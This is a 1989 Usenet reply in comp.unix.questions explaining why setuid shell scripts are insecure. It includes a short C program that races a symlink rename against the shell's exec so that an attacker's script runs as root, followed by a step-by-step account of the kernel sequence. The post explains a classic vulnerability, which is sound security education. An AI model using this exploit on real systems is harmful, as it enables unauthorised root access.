Path: utzoo!utgpu!jarvis.csri.toronto.edu!mailrus!wuarchive!udel!haven!mimsy!chris From: chris@mimsy.umd.edu (Chris Torek) Newsgroups: comp.unix.questions Subject: Re: setuid scripts Message-ID: <20368@mimsy.umd.edu> Date: 24 Oct 89 16:55:51 GMT References: <21256@adm.BRL.MIL> Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742 Lines: 64 In article <21256@adm.BRL.MIL> danl@midget.towson.edu writes: >Ok Chris, so I could be wrong (it certainly wouldn't be the first time), >but please explain why. How are they not secure (with proper planning)? >And how are they any more secure if they are first run from a C program >which exec's the shell? I suppose there is no particular reason not to let this Abynissian out of the carry-sack. Here is the trick: Given a setuid script---perhaps `/etc/backup', which makes a backup of your disks---that is run by a shell (any of sh, csh, ksh, bash, . . .) and the ability to make a link or symbolic link to the file, the bad guy can write a program like this one: main() { switch (fork()) { case -1: perror("fork"); /* darn */ exit(1); /*NOTREACHED*/ case 0: nice(20); /* run slowly */ execl("/tmp/mylink", "/tmp/mylink", (char *)0); perror("execl(/tmp/mylink)"); /* never happens? */ _exit(1); /*NOTREACHED*/ } /* parent */ delay(); /* give child time to execl() but no more */ rename("/tmp/evilscript", "/tmp/mylink"); /* and hope we beat the shell */ exit(0); } The desired (by Mr. Bad Guy) sequence of events is: 0) The kernel is asked to exec /tmp/mylink. 1) The kernel does a namei("/tmp/mylink") and comes up with the inode for /etc/backup. This inode says `setuid root' (so we become root) and has first line `#! /bin/sh'. The kernel iput()s the inode for /etc/backup, does a namei("/bin/sh"), and comes up with an inode for /bin/sh. This is a normal executable, so it starts /bin/sh with argv[1] being "/tmp/mylink"---the name of the script to be run. 2) /bin/sh begins, but (due to low scheduling priority) is suspended while badguy's main() is rescheduled and continued. 3) main() does a rename("/tmp/evilscript", "/tmp/mylink"). The kernel checks /tmp, determines that it is OK to remove /tmp/mylink, does so, renames evilscript as mylink, and returns. 4) main() exits, and /bin/sh resumes. 5) /bin/sh (still running setuid) opens /tmp/mylink and reads and executes it, as root. Unfortunately, in step 5, sh is reading the contents of /tmp/evilscript rather than /etc/backup. -- `They were supposed to be green.' In-Real-Life: Chris Torek, Univ of MD Comp Sci Dept (+1 301 454 7163) Domain: chris@cs.umd.edu Path: uunet!mimsy!chris